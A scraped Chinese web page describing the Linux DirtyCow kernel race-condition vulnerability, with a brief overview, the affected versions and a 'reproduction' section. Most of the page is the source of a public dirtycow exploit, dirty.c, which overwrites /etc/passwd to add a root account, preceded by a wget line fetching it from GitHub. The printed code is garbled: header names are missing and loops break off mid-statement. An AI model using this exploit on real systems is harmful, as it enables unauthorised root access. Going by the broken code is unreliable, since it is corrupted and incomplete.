Linux脏牛(DirtyCow |
您所在的位置:网站首页 › linux脏牛漏洞修复 › Linux脏牛(DirtyCow |
简介 Linux kernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。 漏洞概述 Linux kernel 2.x至4.8.3之前的4.x版本中的mm/gup.c文件存在竞争条件问题漏洞,该漏洞源于程序没有正确处理copy-on-write(COW)功能写入只读内存映射。本地攻击者可利用该漏洞获取权限。 影响版本 从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响 漏洞复现 当前用户为test,Linux kernel为2.6.32 exploit //wget https://github.com/FireFart/dirtycow/archive/master.zip //dirty.c #include #include #include #include #include #include #include #include #include #include #include #include #include const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i = 2) { plaintext_pw = argv[1]; printf("Please enter the new password: %s\n", plaintext_pw); } else { plaintext_pw = getpass("Please enter the new password: "); } user.hash = generate_password_hash(plaintext_pw); char *complete_passwd_line = generate_passwd_line(user); printf("Complete line:\n%s\n", complete_passwd_line); f = open(filename, O_RDONLY); fstat(f, &st); map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0); printf("mmap: %lx\n",(unsigned long)map); pid = fork(); if(pid) { waitpid(pid, NULL, 0); int u, i, o, c = 0; int l=strlen(complete_passwd_line); for(i = 0; i |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |